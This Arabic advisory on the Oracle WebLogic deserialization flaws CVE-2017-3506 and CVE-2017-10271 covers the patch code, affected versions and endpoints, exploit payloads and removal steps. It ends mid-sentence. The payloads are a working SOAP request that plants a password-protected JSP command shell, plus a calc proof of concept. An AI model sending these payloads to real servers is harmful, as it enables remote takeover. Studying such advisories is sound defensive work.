
المؤلف الأصلي: [email protected]
mitre:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-3506
في وقت مبكر، استغل القراصنة ثغرة مكون WLS في WebLogic لشن هجمات عن بعد واسعة النطاق على خوادم المؤسسات، مما أدى إلى اختراق عدد كبير من خوادم المؤسسات، وارتفع عدد الخوادم المخترقة بشكل ملحوظ، مما يستدعي اهتمامًا كبيرًا. تعتبر CVE-2017-3506 ثغرة تنفيذ كود عن بعد في مكون WLS في Oracle WebLogic، وهي ثغرة تم استغلالها ميدانيًا دون الكشف عن تفاصيلها، ولم يقم العديد من المؤسسات بتثبيت التصحيح في الوقت المناسب. أصدرت الشركة الرسمية تصحيحًا لهذه الثغرة في أبريل 2017.
شرح تصحيح CVE-2017-3506:
public WorkContextXmlInputAdapter(InputStream is)
{
ByteArrayOutputStream baos = new ByteArrayOutputStream();
try
{
int next = 0;
next = is.read();
while (next != -1)
{
baos.write(next);
next = is.read();
}
}
catch (Exception e)
{
throw new IllegalStateException("Failed to get data from input stream", e);
}
validate(new ByteArrayInputStream(baos.toByteArray()));
this.xmlDecoder = new XMLDecoder(new ByteArrayInputStream(baos.toByteArray()));
}
private void validate(InputStream is)
{
WebLogicSAXParserFactory factory = new WebLogicSAXParserFactory();
try
{
SAXParser parser = factory.newSAXParser();
parser.parse(is, new DefaultHandler()
{
public void startElement(String uri, String localName, String qName, Attributes attributes)
throws SAXException
{
if (qName.equalsIgnoreCase("object")) {
throw new IllegalStateException("Invalid context type: object");
}
}
});
}
catch (ParserConfigurationException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (SAXException e)
{
throw new IllegalStateException("Parser Exception", e);
}
catch (IOException e)
{
throw new IllegalStateException("Parser Exception", e);
}
}
لقد تمت إضافة دالة validate فقط قبل إلغاء التسلسل، حيث إذا كان qName يساوي object، يتم طرح استثناء وإنهاء العملية. هذه طريقة بسيطة وقوية، ولكن من الصعب إصلاح القائمة السوداء بشكل كامل. جدير بالتفكير...
طريقة استغلال هذه الثغرة بسيطة نسبيًا، حيث يحتاج المهاجم فقط إلى إرسال طلب HTTP محضر بعناية للحصول على صلاحيات الخادم المستهدف، مما يجعل الضرر كبيرًا. نظرًا لأن الثغرة جديدة نسبيًا، لا تزال العديد من الخوادم لم تقم بتحديث التصحيح. من المتوقع بعد هذا الحادث المفاجئ، أن يزداد عدد هجمات الاستغلال بشكل كبير، مما يؤدي إلى اختراق العديد من الخوادم الجديدة.
تصحيح Oracle الرسمي في أبريل لثغرة CVE-2017-3506 لم يكن كاملاً، ويمكن تجاوز التصحيح وتنفيذ الأوامر عن بعد. ثغرة CVE-2017-10271 الحالية القابلة للتجاوز قد تم إصلاحها في التصحيح الرسمي الصادر في أكتوبر.
CVE-2017-10271 (ثغرة تجاوز تنفيذ الأوامر عن بعد في wls-wsat)
Oracle WebLogic Server الإصدار 10.3.6.0.0
Oracle WebLogic Server الإصدار 12.1.3.0.0
Oracle WebLogic Server الإصدار 12.2.1.1.0
Oracle WebLogic Server الإصدار 12.2.1.2.0
/wls-wsat/CoordinatorPortType
/wls-wsat/CoordinatorPortType11
/wls-wsat/ParticipantPortType
/wls-wsat/ParticipantPortType11
/wls-wsat/RegistrationPortTypeRPC
/wls-wsat/RegistrationPortTypeRPC11
/wls-wsat/RegistrationRequesterPortType
/wls-wsat/RegistrationRequesterPortType11
Content-Type: text/xml
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java><java version="1.4.0" class="java.beans.XMLDecoder"><object class="java.io.PrintWriter"> <string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/test.jsp</string><void method="println"><string><![CDATA[<% if("secfree".equals(request.getParameter("password"))){
java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("command")).getInputStream();
int a = -1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){
out.println(new String(b));
}
out.print("</pre>");
} %>]]></string></void><void method="close"/></object></java></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>




<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.6.0" class="java.beans.XMLDecoder">
<object class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="1">
<void index="0">
<string>calc</string>
</void>
</array>
<void method="start"/>
</object>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>







http://www.oracle.com/technetwork/security-advisory/cpuoct2017-3236626.html https://lipeng1943.com/download/weblogic_patch-catalog_25504.zip
تطبيق التحكم في الوصول على موارد wls-wsat.
حل مؤقت
في حال عدم تأثر الأعمال، قم بحذف حزم war والأدلة التالية في برنامج WebLogic وفقًا لبيئة المسار الفعلية.
rm -f/home/WebLogic/Oracle/Middleware/wlserver_10.3/server/lib/wls-wsat.war
rm -f/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/.internal/wls-wsat.war
rm -rf/home/WebLogic/Oracle/Middleware/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/wls-wsat
أعد تشغيل خدمة WebLogic أو النظام، ثم تأكد من أن الرابط التالي يعيد 404: